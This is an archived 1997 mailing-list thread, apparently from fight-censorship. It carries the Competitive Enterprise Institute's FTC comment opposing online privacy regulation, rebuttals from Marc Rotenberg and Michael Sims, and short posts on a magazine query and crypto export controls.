	And Departments of Motor Vehicles have
	been rather cavalier about selling the
	data collected, including social security
	numbers. That is why the outcry against
	Lexis-Nexis, which created a database of
	publicly available government information,
	was misplaced. [...]

        There is a tension between the notion that
	all interactions on the Internet ought
	to be private, and the fact that people
	go on to the Internet to communicate in
	public.  The reality is that going on to
	the Internet is like walking on a public
	street, with each Web page like a private
	store.  Each Web page has the right to set
	up its own conditions for entry. Such
	policies could range from a free-for-all
	data collection spree, to very strict
	information collection limitations. [...]

Read on for the complete document.

-Declan

**************************

April 15, 1997

Secretary
Federal Trade Commission
Room H-159
Sixth St. and Pennsylvania Avenue, NW
Washington, D.C. 20580

   Consumer Privacy 1997
   Comment P954807 and Request to Participate P954807

Dear Sir or Madam:

The Competitive Enterprise Institute and the National
Consumer Coalition hereby files comments on and a
request to participate in Session Two of the Federal
Trade Commission's upcoming public hearing on
"Consumer Privacy Issues Posed by the Online
Marketplace."

CEI is a non-profit, non-partisan free-market research
and advocacy group.  We have long been involved with
commercial free speech issues,  and we work on privacy
and Internet issues as well.  The NCC is a coalition
of nine consumer organizations interested in expanding
consumer choice in the marketplace.   Given the fact
that few, if any, other consumer groups are presenting
this viewpoint, we believe that our participation in
these hearings would assist the Commission in its
consideration of these issues.

Introduction

There are some central issues which must be resolved
before discussing the FTC's specific questions.

What is "privacy"?

With all of the discussion of privacy of commercial
data on the Internet, it is strange that no one has
actually defined the term.  The tendency is to rely
instead on an "I-know-it-when-I-see-it" approach.
Supreme Court Justice Lewis Brandeis said that privacy
is the "The right to be left alone - the most
comprehensive of rights, and the right most valued by
a free people."   Others say privacy is a result of
living in a large society where people do not know
each other's reputations and are not able to impose
social constraints on others' behavior.  "Privacy
grows as the number of strangers grows," wrote Steven
Nock.  "Privacy is one consequence, or cost, of
growing numbers of strangers."

The confusion surrounding the term privacy leads one
to conclude that "privacy" is like a Rorschach ink
blot - different people read different things into it.
 "Whenever an invasion of privacy is claimed, there
are usually competing values at stake."   In this
sense, privacy is not a right, it is a preference.

Much of what people want in the name of "privacy" is
that which they could actually achieve through
traditionally understood conceptions of property
rights and freedom of contract.  But when "privacy"
itself is set forth as an amorphous, floating concept,
it in fact threatens property rights and freedom of
contract.  It is this substitution of an ill-defined
"privacy right" for well-defined rights that threatens
the Internet.

What is the distinction between commercial data
collection and government data collection?

The restraints placed on government actions on the
Internet are rightly and necessarily stricter than
those placed on companies and individuals.
Restraining government action underlies our entire
political system, for the government has unique powers
of coercion.   Since government may fine, imprison,
and (in capital cases), execute citizens, there must
be very strict conditions under which government may
collect information about citizens.

Unfortunately, government has been less than exemplary
in this realm, and has repeatedly pushed the
boundaries of acceptable behavior.  For example, one
bill currently before Congress (H.R. 118) requires the
Attorney General to "acquire data about all stops for
routine traffic violations by law enforcement
officers."  The data include "identifying
characteristics of the individual stopped, including
the race and or ethnicity of as well as the
approximate age of that individual."  The irony of
calling in the government to protect privacy on the
Internet when it so cavalierly ignores it in other
realms is rich.

On the other hand, companies cannot impose an agenda
on private individuals the way the government can.
When they try to, there are civil and criminal laws
there to stop them.  Despite rhetoric about the
"power" of large corporations, all marketers can
really do is try to persuade people to buy their
products.  They do this through advertising.

Why is data collection so important for the Internet?

People have repeatedly demonstrated that they are not
willing to pay for content on the Internet.
Advertising Age magazine recently reported that only
25% of people polled were willing to pay to subscribe
to online publications.   Many subscribers to content
pages freely share their passwords with others.  "If
Web sites can't figure out how to halt the
free-for-all, a promising revenue source for on-line
businesses may be threatened."

Therefore, in order to develop, web sites will
increasingly depend upon advertising for support.
Indeed, "for most [Internet search] engines,
advertising has accounted for more than 90% of total
revenues.  Advertising will continue to be the primary
source of income for Yahoo! (and other search engines)
as they set up local content ventures."   America
Online has found it necessary to put advertising in
chat rooms to raise extra revenue (which was lost when
AOL introduced its flat rate monthly user fee).

At the same time, advertisers are still very hesitant
about advertising on the Internet.  "Where are the
marketers?" asked one Advertising Age editorial.   The
editor of Out magazine's web page, now defunct, was
quoted as saying, "advertisers aren't clamoring to get
on the Web - we have to beat them up to get on the
Web" (emphasis in original).   Anything which makes it
harder for advertising to work will have direct
effects on the quality and content of the Internet, a
very serious harm to Internet users.  In addition, it
will likely raise the cost to consumers of using the
Internet.

Is the issue "privacy," or is it really marketing?

Much of the rhetoric surrounding the privacy issue
concerns the purported power of advertising.  There is
a decades-old strain of thought which declares that
advertising is coercive and makes people buy what they
do not want.  This is untrue, as examples from the
Edsel, to New Coke, even to Nissan (which has a great
ad campaign but has seen no increase in auto sales)
show.  Unfortunately, many people do not fully
recognize the very real benefits consumers derive from
advertising.

Advertising's role in a market economy is essential,
and essentially benign.  Advertising lets consumers
know about price and quality information.  It alerts
consumers to the existence of new and improved
products.  It even saves consumers time by helping
them figure out what they do not want in advance of
shopping (e.g. a new car's styling is unattractive, or
it is too expensive).   Curtailing advertising limits
the availability of consumer information.

FTC Question 2.3: What are the risks, costs and
benefits of collection, compilation, sale and use
of personal consumer information in this context?

Despite plenty of speculation, there has been no
demonstration of significant actual harm resulting
from the commercial collection of personal data over
the Internet. This is not to say that all data posted
on the Internet are good.  Quite the contrary.  For
example, the government has made it difficult, if not
impossible, to live in America today without a social
security number.  Congress has mandated that all
states use social security numbers as driver
identification numbers.  And Departments of Motor
Vehicles have been rather cavalier about selling the
data collected, including social security numbers.
That is why the outcry against Lexis-Nexis, which
created a database of publicly available government
information, was misplaced.

The allocation of costs and benefits deriving from
data collection depends upon whom you ask.  Again,
privacy is a preference, not a universal right.  While
some may not like the very idea that data are being
collected about their consumption behavior, others may
not care at all.  Indeed, some consumers may not mind
how much information about them is available, if it
means they will receive only ads targeted to their
particular interests.  "Consumers don't mind
advertising and pay attention to it, as long as it
gives them something of value."

There is a tension between the notion that all
interactions on the Internet ought to be private, and
the fact that people go on to the Internet to
communicate in public.  The reality is that going on
to the Internet is like walking on a public street,
with each Web page like a private store.  Each Web
page has the right to set up its own conditions for
entry.  Such policies could range from a free-for-all
data collection spree, to very strict information
collection limitations.

It is important to note that since advertising depends
upon customer profile information, web pages which
take extra steps to protect privacy might be
relatively more expensive, and may have to charge a
premium.  If one individual prefers more privacy than
another, this is a reasonable situation.  It behooves
Web pages to clearly define the terms of entry.  As
for chat rooms and newsgroups, their entire purpose is
for people to communicate with each other.  Therefore,
people should not be surprised when third parties
collect information which they have already placed in
the public realm.

There are some very serious problems with the notion
that consumers somehow "own" information about
themselves which they have already released publicly,
or through a contract with a company.  Away from the
virtual world, people have repeatedly shown
willingness to give up their "valuable" personal data
in return for such things as rebates or coupons.  From
product reply questionnaires to supermarket shopper
clubs, people give out information all the time, often
automatically.  Even when it comes to the sale of
magazine subscriber lists, many people know about it
and often take advantage of deals offered by other
magazines and by marketers of certain products.

Some say that consumers ought to be reimbursed for
this sale of names.  But value is subjective, and, in
a market economy, a good offered for sale is only
worth what someone else is willing to pay for it.
Companies pay for the names because it saves them the
time and expense that it would take to collect the
publicly available information themselves.
Arbitrarily assigning a price to names, rather than
having it settled by negotiation through the market,
assumes that everyone agrees upon the value of a name.
As discussed above, this is not so.  Artificially
raising the price of a good (i.e. a name) through
regulation would surely decrease demand for it.  That
outcome might please many privacy advocates, but it
would hurt consumers in unseen ways, by limiting the
availability and circulation of consumer information.

If you release information about yourself, then that
information becomes part of the public realm. For
example, suppose you place an engagement announcement
in a local newspaper.  You do not "own" that
information.  That is, other parties can pick it up
and use it for, say, creating mailing lists of
newlyweds or brides-to-be. "The power to control
information about you is the power to control the
speech of others."

Even when it comes to implicit contracts - the selling
of magazine lists, for example - there is no reason
why it is incumbent upon the magazine seller to obtain
an affirmation from every subscriber before selling
their names. Rather, sensitive consumers ought to pay
attention to the fine print of their contracts.  They
can decline to contract in the first place, or
establish a set of  acceptable conditions, such as
requesting that their names be removed from mailing
lists.  Keeping names off of lists is a preference and
not a right.  Consumers who do not like this practice
have no right to impose their preferences on everyone.
 What goes for the real world should apply to the
virtual world.

The risks of this data collection by companies are
overstated.  The one exception is when collected
information falls into the hands of the government.
For example, an ice-cream shop culled names of
eighteen-year-olds from the store's birthday club and
sold the list to the selective service.   For these
customers, going into an ice-cream shop mean induction
in the army.

The costs and benefits of data collection are
different for every consumer.   Regulation would only
institutionalize a set of preferences, rather than
uphold rights.  It might be that companies ought to be
more explicit about their information collection
policies.  However, those companies which do take
extra steps in this regard frequently tout it.  In
short, those consumers most concerned about data
collection already have one way of satisfying that
preference, without resorting to government
intervention.

FTC Question 2.16: How widespread is the practice of
sending unsolicited e-mail?  Are privacy or other
consumer interests implicated by this practice?  What
are the sources of e-mail addresses used for this
purpose?

Unsolicited e-mail is very similar to junk mail in the
context of "privacy."  Many people find it annoying,
especially since junk e-mail shifts the cost from the
sender to the recipient, who pays in time and money.
However, enough people like it and take advantage of
it that the practice continues.  E-mail marketers
often harvest names through data mining - collecting
e-mail addresses from newsgroup posts and chat rooms.
It is clear that many consumers do not like this, but
it is not clear why this practice should be made
illegal, as opposed to being simply irritating.

As previously noted, people who venture out into those
chat rooms and newsgroups are going out into public.
E-mail put out into these areas is public property,
much as an engagement announcement would be.
Therefore, someone collecting lists of names and
sending out junk e-mails is acting perfectly
legitimately.  There is no way for a data collector
(or even another participant) to know in advance who
would like to hear about something or not.  The
combination of what is wanted and what is unwanted is
different for everyone.

Many people object to the costs of paying for unwanted
e-mail (e.g. charges per e-mail received, line charges
incurred while using the e-mail function).  That is
perfectly understandable.  But if you do not wish to
be put on a list, the responsibility is yours to avoid
it.  Fortunately, there are already  options
available.  Most of the major Internet providers -
AOL, Prodigy, CompuServe - already have banned junk
mailings.   This provision of what some see as a
valuable service is perfectly legitimate as well.  In
addition, AOL also permits people who participate in
chat rooms to use up to five false names.  Along with
the ease of finding anonymizers to surf the Web,
"going incognito" has never been so easy to do.

As the Washington Post aptly noted, "Psychologically,
the more interesting question is why folks who long
since gave up the attempt to stop mass telemarketing
or ordinary delivered-to-the-door junk mail find it so
much more immediately threatening to receive mail that
can be deleted at the touch of a button."

FTC Question 2.18: What costs does unsolicited
commercial e-mail impose on consumers or others?  Are
there available means of avoiding or limiting such
costs?  If so, what are they?

The wording of the question suggests that the FTC
believes that the primary cost of unsolicited e-mail
is "privacy."  Once again, "privacy" is a preference.
Therefore, junk e-mail is a cost only to those who
personally object to data collection.  It might be
useful to look at this situation in a different way.

Restricting data collection reduces the possibility of
target marketing.  Perhaps some consumers would be
happy to receive e-mail relating only to their
particular interests. As target marketing becomes more
accurate due to data collection, it would actually
reduce the amount of unwanted e-mail.  Sailing
enthusiasts would not receive gardening catalogs,
gourmands would not receive home improvement
information.

In addition, clamping down on data collection will
hurt smaller companies and non-profits, who might find
this data collection useful in finding new customers
or members.  Well-known non-profits, for example,
receive a great deal of publicity and exposure in the
general media; how many other, smaller groups would
like to find people interested in their work via the
Internet?

One of the biggest objections to data collection is
its awesome speed.  But this is not a sufficient basis
for regulation; it is an extension of objections to
data collection in general.  Combing a phone book
manually or by computer is essentially the same; the
latter just takes less time.  Use of data collection
technology makes information cheaper and more
available to a variety of groups, from non-profits to
associations dedicated to one or another hobbies or
interests.

Conclusion

At a minimum, the FTC should insist on a real and
significant showing of harm resulting from commercial
data collection, rather than rely upon claims of
consumer irritation.  The FTC should be extremely
cautious in regulating the free flow of consumer
information.  Any regulations are bound to have
unforeseen effects.  For example, the European Privacy
Directives have made it very difficult to exchange
employee information between branches of the same
company located in different countries.   Instead, the
FTC should confine itself to policing fraud and
investigating any actual injury.  As Esther Dyson put
it, "The goal is a market in privacy practices.  That
will result in constantly improving standards rather
than rigid ones set by law, and in decentralized,
speedy enforcement" (emphasis in original).


Julie C. DeFalco on behalf of the Competitive
Enterprise Institute and for the National Consumer
Coalition



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


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From declan at well.com  Fri Apr 25 20:01:31 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 25 Apr 1997 20:01:31 -0700 (PDT)
Subject: CEI tells the Federal Trade Commission to be wary of regulation
Message-ID: 




---------- Forwarded message ----------
Date: Fri, 25 Apr 1997 20:11:37 -0500
From: Marc Rotenberg 
To: declan at well.com, fight-censorship-announce at vorlon.mit.edu
Subject: Re: FC: CEI tells the Federal Trade Commission to be wary of regulation

At 6:30 PM -0500 4/25/97, Declan McCullagh wrote:
>Julie DeFalco from the Competitive Enterprise Institute, a libertarian
>think tank here in DC, today sent me what her organization filed with the
>FTC earlier this month. Below CEI urges the FTC to be "extremely cautious
>in regulating the free flow of consumer information" online. The FTC will
>revisit the issue of online privacy regulations this June. Some excerpts
>from CEI's filing:
>
>	Despite plenty of speculation, there has
>	been no demonstration of significant
>	actual harm resulting from the commercial
>	collection of personal data over the
>	Internet. This is not to say that all data
>	posted on the Internet are good.  Quite
>	the contrary.  For example, the government
>	has made it difficult, if not impossible,
>	to live in America today without a social
>	security number. Congress has mandated
>	that all states use social security
>	numbers as driver identification numbers.
>	And Departments of Motor Vehicles have
>	been rather cavalier about selling the
>	data collected, including social security
>	numbers. That is why the outcry against
>	Lexis-Nexis, which created a database of
>	publicly available government information,
>	was misplaced. [...]


I haven't looked at the rest of the CEI report says, but
this last statement about P-TRAK is factually incorrect.
Lexis-Nexis did not create a database of "publicy
available government information,' they bought
credit record information from TransUnion, a credit
reporting agency, and exploited a loophole in the
Fair Credit Reporting Act which allowed them to
sell the credit "header" information.

Assuming that CEI does not question the public objection
to P-TRAK, what solution do they propose? There is no
contractual relationship between individuals (who are
simply record subjects in thsi instance) and look-up
services such as P-TRAK and therefore no opportunity
for markets in any meaningful sense to operate.

Isn't this a casebook example of where regulation
is appropriate?

Marc Rotenberg.
EPIC.




==================================================================
Marc Rotenberg, director                *   +1 202 544 9240 (tel)
Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
666 Pennsylvania Ave., SE Suite 301     *   rotenberg at epic.org
Washington, DC 20003   USA              +   http://www.epic.org
==================================================================









From declan at vorlon.mit.edu  Fri Apr 25 20:02:03 1997
From: declan at vorlon.mit.edu (Declan McCullagh)
Date: Fri, 25 Apr 1997 20:02:03 -0700 (PDT)
Subject: CEI tells the Federal Trade Commission to be wary of regulation
Message-ID: 




---------- Forwarded message ----------
Date: Fri, 25 Apr 1997 22:44:51 -0400
From: Michael Sims 
To: fight-censorship at vorlon.mit.edu
Subject: Re: CEI tells the Federal Trade Commission to be wary of regulat

I've just read through this thing.  What a load of crap.  The 
libertarian bent shows through, assuming that businesses have a right 
to consumer information and denying that is sacrilege.  I'll just do 
a quick red penning of the thing:


> CEI is a non-profit, non-partisan free-market research
> and advocacy group.

Libertarians aren't a party?

> The confusion surrounding the term privacy leads one
> to conclude that "privacy" is like a Rorschach ink
> blot - different people read different things into it.
>  "Whenever an invasion of privacy is claimed, there
> are usually competing values at stake."   In this
> sense, privacy is not a right, it is a preference.

Of course there are competing values at stake.  Usually, it's your 
"right to make a buck" vs. my "right to be let alone".  I don't think 
corporations have a "right to make a buck".

> Much of what people want in the name of "privacy" is
> that which they could actually achieve through
> traditionally understood conceptions of property
> rights and freedom of contract.  But when "privacy"
> itself is set forth as an amorphous, floating concept,
> it in fact threatens property rights and freedom of
> contract.  It is this substitution of an ill-defined
> "privacy right" for well-defined rights that threatens
> the Internet.

In other words, if consumers have any say in the reselling of their 
names and information, it threatens business's "rights".  Exactly 
what contract did I sign when I posted to alt.beavis.and.butthead and 
received ads about ab rollers and make-money-fast?

> On the other hand, companies cannot impose an agenda
> on private individuals the way the government can.
> When they try to, there are civil and criminal laws
> there to stop them.  Despite rhetoric about the
> "power" of large corporations, all marketers can
> really do is try to persuade people to buy their
> products.  They do this through advertising.

Corporations good, government bad.

> Why is data collection so important for the Internet?
> 
> People have repeatedly demonstrated that they are not
> willing to pay for content on the Internet.
> Advertising Age magazine recently reported that only
> 25% of people polled were willing to pay to subscribe
> to online publications.   Many subscribers to content
> pages freely share their passwords with others.  "If
> Web sites can't figure out how to halt the
> free-for-all, a promising revenue source for on-line
> businesses may be threatened."

Oh no!  Business may lose a percentage of their bottom line! 
Scream! Run away!

Sigh.  I wasn't aware there was a constitutional right to make money 
in a certain fashion.  There IS an [interpreted] constitutional right 
to privacy.

> Therefore, in order to develop, web sites will
> increasingly depend upon advertising for support.

Quite frankly, there's a godawful amount of content out there now, 
being delivered for at a loss, or break even, or a slight profit.

I fail to see the business "right" to turn the net into an 
advertising medium, which so compels this whole statement.

Aren't cookies enough?  geeez.

> At the same time, advertisers are still very hesitant
> about advertising on the Internet.  "Where are the
> marketers?" asked one Advertising Age editorial.   The
> editor of Out magazine's web page, now defunct, was
> quoted as saying, "advertisers aren't clamoring to get
> on the Web - we have to beat them up to get on the
> Web" (emphasis in original).   Anything which makes it
> harder for advertising to work will have direct
> effects on the quality and content of the Internet, a
> very serious harm to Internet users.  In addition, it
> will likely raise the cost to consumers of using the
> Internet.

A flat-out lie.  Advertising pays no costs of my using the 
net, and a very small percentage of the web sites I visit are 
ad-supported.

What they mean to say is, "If you make targetted advertising harder, 
we'll have to rely on less-well-targetted advertising, and businesses 
may make less money off the net."

So?

> Is the issue "privacy," or is it really marketing?
> 
> Much of the rhetoric surrounding the privacy issue
> concerns the purported power of advertising.  There is
> a decades-old strain of thought which declares that
> advertising is coercive and makes people buy what they
> do not want.  This is untrue, as examples from the
> Edsel, to New Coke, even to Nissan (which has a great
> ad campaign but has seen no increase in auto sales)
> show.  Unfortunately, many people do not fully
> recognize the very real benefits consumers derive from
> advertising.

Which corporations support this, uh, "think-tank" again?

There's actually a variety of simple formulas relating how much 
advertising is required to make a movie a hit, for example.  
Publicize an incredibly lousy movie sufficiently, and it will turn a 
profit.  For them to deny that advertising has any power over 
consumers (not people in this corporate-viewpoint paper; only 
consumers) is to deny reality.

> Advertising's role in a market economy is essential,
> and essentially benign.  Advertising lets consumers
> know about price and quality information.  It alerts
> consumers to the existence of new and improved
> products.  It even saves consumers time by helping
> them figure out what they do not want in advance of
> shopping (e.g. a new car's styling is unattractive, or
> it is too expensive).   Curtailing advertising limits
> the availability of consumer information.

That's real funny.  You're right, I'm being done a valuable service 
for my own good when I get spam email for ab rollers.

> FTC Question 2.3: What are the risks, costs and
> benefits of collection, compilation, sale and use
> of personal consumer information in this context?
> 
> Despite plenty of speculation, there has been no
> demonstration of significant actual harm resulting
> from the commercial collection of personal data over
> the Internet. This is not to say that all data posted
> on the Internet are good.  Quite the contrary.  For
> example, the government has made it difficult, if not
> impossible, to live in America today without a social
> security number.  Congress has mandated that all
> states use social security numbers as driver
> identification numbers.  And Departments of Motor
> Vehicles have been rather cavalier about selling the
> data collected, including social security numbers.
> That is why the outcry against Lexis-Nexis, which
> created a database of publicly available government
> information, was misplaced.

Marc Rotenberg already got this one, so I'll forbear.  Not only do 
they have the facts wrong, they turn it into an example of "business 
good, government bad" when it's really an example of "business 
seeking profit runs up against consumers who've had enough".

> The allocation of costs and benefits deriving from
> data collection depends upon whom you ask.

Yeah, and if you ask a pro-business think-tank, their lies will be 
slanted this way.....

>  Again, privacy is a preference, not a universal right.

Unless you count that whole Bill of Rights thing, of course.

They must be referring to other countries here.

> While some may not like the very idea that data are being collected
> about their consumption behavior, others may not care at all. 
> Indeed, some consumers may not mind how much information about them
> is available, if it means they will receive only ads targeted to
> their particular interests.

Like ab rollers.

> "Consumers don't mind advertising and pay attention to it, as long
> as it gives them something of value."

Some people may not mind be gunned down on the street.  Eliminate the 
penalties for murder because some people might like it.

> There is a tension between the notion that all
> interactions on the Internet ought to be private, and
> the fact that people go on to the Internet to
> communicate in public.

I go out on the street to communicate in public too, but that doesn't 
give you the right to phone me 20 times a day selling ab rollers.

> The reality is that going on to the Internet is like walking on a
> public street, with each Web page like a private store.

Sounds good to me.  Does my walking down the street give blanket 
permission for anyone who sees me to call me up and pitch ab rollers?

No?

Does my posting to Usenet give blanket permission for anyone who 
egreps the news disk to mail me and pitch ab rollers?

>  Each Web page has the right to set up its own conditions for entry.
>  Such policies could range from a free-for-all data collection
> spree, to very strict information collection limitations.

Oh, they could.  But without any governmental regulation, I think you 
know which end of the spectrum it will settle at.

Wired's site sends out what, 12 or 15 different cookies?

Those slow-loading sites in the future won't be because of the 
content, it will be because of the tracking they're doing.

> It is important to note that since advertising depends
> upon customer profile information,

No, not really.  "...is made more efficient by...", sure, but 
depends?  No.

> web pages which take extra steps to protect privacy might be
> relatively more expensive, and may have to charge a premium.  If
> one individual prefers more privacy than another, this is a
> reasonable situation.

Pay to avoid ads!

> It behooves Web pages to clearly define the terms of entry.  As for
> chat rooms and newsgroups, their entire purpose is for people to
> communicate with each other.  Therefore, people should not be
> surprised when third parties collect information which they have
> already placed in the public realm.

Oh, surprised, no.  Annoyed when their "collections" endanger the 
usability of my email, and cost me substantial time, yes.

> There are some very serious problems with the notion that consumers
> somehow "own" information about themselves which they have already
> released publicly, or through a contract with a company.

Consumers have no rights.  Businesses have rights.  Remember this.

>  Away from the virtual world, people have repeatedly shown
> willingness to give up their "valuable" personal data in return for
> such things as rebates or coupons.

Where's my coupon for posting to Usenet?

>  From product reply questionnaires to supermarket shopper clubs,
> people give out information all the time, often
  ^^^^^^

Substitute "idiots".  I never fill out any of that crap.

> automatically.  Even when it comes to the sale of magazine
> subscriber lists, many people know about it and often take
> advantage of deals offered by other magazines and by marketers of
> certain products.

Sure, buddy.  Like my subscription to Scientific American, which has 
resulted in my being sent direct mail for tons of shit designed to 
appeal to 65-year-old scientists.

> Some say that consumers ought to be reimbursed for this sale of
> names.  But value is subjective, and, in a market economy, a good
> offered for sale is only worth what someone else is willing to pay
> for it. Companies pay for the names because it saves them the time
> and expense that it would take to collect the publicly available
> information themselves. Arbitrarily assigning a price to names,
> rather than having it settled by negotiation through the market,
> assumes that everyone agrees upon the value of a name. As discussed
> above, this is not so.  Artificially raising the price of a good
> (i.e. a name) through regulation would surely decrease demand for
> it.  That outcome might please many privacy advocates, but it would
> hurt consumers in unseen ways, by limiting the availability and
> circulation of consumer information.

Translation: it would dent advertising costs and put them on the 
advertiser instead of the receiver of junk ads.  Consumer bad, 
business good: we don't like this idea.  We like the costs being on 
the consumer.

> If you release information about yourself, then that information
> becomes part of the public realm. For example, suppose you place an
> engagement announcement in a local newspaper.  You do not "own"
> that information.  That is, other parties can pick it up and use it
> for, say, creating mailing lists of newlyweds or brides-to-be. "The
> power to control information about you is the power to control the
> speech of others."

Nice platitude.  I would think libertarian property rights would hold 
sway here, but I guess they're conflicting with "business good".

> Even when it comes to implicit contracts - the selling of magazine
> lists, for example - there is no reason why it is incumbent upon
> the magazine seller to obtain an affirmation from every subscriber
> before selling their names. Rather, sensitive consumers ought to
> pay attention to the fine print of their contracts.

There's no part of the Sci Am subscription form which says "by 
subscribing, we will sell your name around the world to junk 
mailers."  Believe me, I've looked.

> They can decline to contract in the first place, or establish a set
> of  acceptable conditions, such as requesting that their names be
> removed from mailing lists.

A farce.  You and I know that business will require disclosure of 
personal info as a prerequisite for doing business if it lies within 
their scope.  I think Radio Shack was a particularly egregious 
example of this, requesting names, addresses and phone numbers even 
for cash purposes.  I've told them to fuck off on more than one 
occasion.  Imagine if your phone number was scribed on the outside of 
your body, as your email address is on this posting...

> Keeping names off of lists is a preference and not a right.

Businesses have rights!  Consumers have none.

> Consumers who do not like this practice have no right to impose
> their preferences on everyone.

Businesses have rights!  Consumers have none.

>  What goes for the real world should apply to the virtual world.

Okay, ASK me for my info, just like you have to in the real world.  
Sounds fair to me.

> The risks of this data collection by companies are overstated.

I've seen more than one account disabled by excess junk email.  
Think it's a pain now?  Just wait.

> The one exception is when collected information falls into the
> hands of the government. For example, an ice-cream shop culled
> names of eighteen-year-olds from the store's birthday club and sold
> the list to the selective service.   For these customers, going
> into an ice-cream shop mean induction in the army.

Government bad, business good.

> The costs and benefits of data collection are different for every
> consumer.   Regulation would only institutionalize a set of
> preferences, rather than uphold rights.  It might be that companies
> ought to be more explicit about their information collection
> policies.  However, those companies which do take extra steps in
> this regard frequently tout it.  In short, those consumers most
> concerned about data collection already have one way of satisfying
> that preference, without resorting to government intervention.

Which way was that?  Choosing only marketers who say they won't 
resell information?  What if they lie?

> FTC Question 2.16: How widespread is the practice of sending
> unsolicited e-mail?  Are privacy or other consumer interests
> implicated by this practice?  What are the sources of e-mail
> addresses used for this purpose?
> 
> Unsolicited e-mail is very similar to junk mail in the context of
> "privacy."  Many people find it annoying, especially since junk
> e-mail shifts the cost from the sender to the recipient, who pays
> in time and money. However, enough people like it and take
> advantage of it that the practice continues.

No, the cost of sending the advertisement in the first place is low 
enough that the practice continues.  Typical response to a junk 
emailing is about 20% of receivers will reply with hate, the majority 
will ignore it, and fewer than .1% will respond favorably.

This CEI statement is grossly misinformed or simply lying.

> E-mail marketers often harvest names through data mining -
> collecting e-mail addresses from newsgroup posts and chat rooms. It
> is clear that many consumers do not like this, but it is not clear
> why this practice should be made illegal, as opposed to being
> simply irritating.

It's an irritation that government has the power to stop; and

Nothing short of government action will stop it; and

Government action will not cause any collateral damage.

Seems like a perfect case for government action to me.


> As previously noted, people who venture out into those chat rooms
> and newsgroups are going out into public. E-mail put out into these
> areas is public property,

Au contraire.  Saying such a thing does not make it so.  Public 
property?  No.

> much as an engagement announcement would be. Therefore, someone
> collecting lists of names and sending out junk e-mails is acting
> perfectly legitimately.  There is no way for a data collector (or
> even another participant) to know in advance who would like to hear
> about something or not.

It's safe to assume the majority do not.  That's true with 100% 
certainty.  Yet this paper attempts to say the consumer is being done 
a service.

> The combination of what is wanted and what is unwanted is different
> for everyone.

I don't want anything that is completely unsolicited trying to 
sell me stuff.  This is true for 99% of the human race.

> Many people object to the costs of paying for unwanted e-mail (e.g.
> charges per e-mail received, line charges incurred while using the
> e-mail function).  That is perfectly understandable.  But if you do
> not wish to be put on a list, the responsibility is yours to avoid
> it.

It's not companies' responsibility to not call you at 3AM - it's your 
responsiblity to not have the phone on the hook!

> Fortunately, there are already  options available.  Most of
> the major Internet providers - AOL, Prodigy, CompuServe - already
> have banned junk mailings.   This provision of what some see as a
> valuable service is perfectly legitimate as well.  In addition, AOL
> also permits people who participate in chat rooms to use up to five
> false names.  Along with the ease of finding anonymizers to surf
> the Web, "going incognito" has never been so easy to do.

They know as well as anyone that the "default" is to reveal plenty of 
information, and few users will stray from that.

They also know that neither AOL nor Prodigy nor Compuserve have 
"banned" junk emailings.  They are lying, yet again.  What the online 
services have done is take action against a certain junk emailer who 
was reducing the usefulness of their email systems with the 
volume of junk mail inflicted.

> As the Washington Post aptly noted, "Psychologically, the more
> interesting question is why folks who long since gave up the
> attempt to stop mass telemarketing or ordinary
> delivered-to-the-door junk mail find it so much more immediately
> threatening to receive mail that can be deleted at the touch of a
> button."

Mass telemarketing is far from illegal.  It is regulated to avoid the 
extreme abuses which occur with 100% certainty when businesses 
see a chance to make money.  As should junk emailing.

> FTC Question 2.18: What costs does unsolicited commercial e-mail
> impose on consumers or others?  Are there available means of
> avoiding or limiting such costs?  If so, what are they?
> 
> The wording of the question suggests that the FTC believes that the
> primary cost of unsolicited e-mail is "privacy."

Translation: we would like to avoid a discussion of the very real 
dollar costs imposed upon unsuspecting email recipients.  The wording 
of the question suggests no such thing, but that's what we'd like to 
talk about.

>  Once again, "privacy" is a preference.

Forgot that Fourth Amendment again, eh?

> Therefore, junk e-mail is a cost only to those who personally
> object to data collection.  It might be useful to look at this
> situation in a different way.

Unless you count such mundanities as time and dollars as "costs".  
Funny how these pro-business types are great at accounting usually, 
but forget all that when it comes to making these statements.

> In addition, clamping down on data collection will hurt smaller
> companies and non-profits, who might find this data collection
> useful in finding new customers or members.  Well-known
> non-profits, for example, receive a great deal of publicity and
> exposure in the general media; how many other, smaller groups would
> like to find people interested in their work via the Internet?

Wave the non-profit flag to disguise the HUGE profit-seeking behemoth 
out there.  Great.  As if I'd ever help aa non-profit who spammed me.

> One of the biggest objections to data collection is its awesome
> speed.  But this is not a sufficient basis for regulation; it is an
> extension of objections to data collection in general.

Actually, it is.  The abuses become significantly greater and 
therefore more of a concern to government.

> Use of data collection technology makes information cheaper and
> more available to a variety of groups, from non-profits to
> associations dedicated to one or another hobbies or interests.

As if that would account for .00000001% of the use.

> As Esther Dyson put it, "The goal is a market in privacy practices.
>  That will result in constantly improving standards rather than
> rigid ones set by law, and in decentralized, speedy enforcement"
> (emphasis in original). 

You know how this "market" will go?  Businesses willget together, say 
"Hey, there's no point fighting over this, let's just standardize on 
full consumer disclosure.  It will help all of us."  and that will be 
it, no more market.


-- Michael Sims






From declan at well.com  Fri Apr 25 20:15:12 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 25 Apr 1997 20:15:12 -0700 (PDT)
Subject: Query: Who has left the U.S. to evade the law?
Message-ID: 


An associate is trying to find an American who left the country to operate
a high-tech business, possibly illegal, outside the U.S. to evade American
laws. Think hacking/cracking, money laundering, child porn, black market.
This is for a profile in _Details_ magazine.  Any tips? My friend is
discreet and trustworthy and lives in New York City.

-Declan






From declan at well.com  Fri Apr 25 20:22:22 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 25 Apr 1997 20:22:22 -0700 (PDT)
Subject: Crypto moves forward: Commerce Dept panel and SAFE markup
In-Reply-To: <199704260154.SAA14871@mail.pacifier.com>
Message-ID: 


My lord, I'm agreeing with Jim Bell!

Right now, no controls exit on domestic crypto, though strict export
controls are in place.

The question is: Do we want to give up any domestic freedom in exchange
for a relaxation of export controls? (Congress is, after all, built on
compromises between warring factions.)

My instinct is to say "No." Let the courts strike down ITAR, EAR, and its
progeny, while we keep our freedoms domestically. 

-Declan


On Fri, 25 Apr 1997, Jim Bell wrote:

> At 11:13 4/25/97 -0700, Ernest Hua wrote:
> >> Date: Thu, 24 Apr 1997 18:17:09 -0400
> >> To: fight-censorship-announce at vorlon.mit.edu
> >> From: Declan McCullagh 
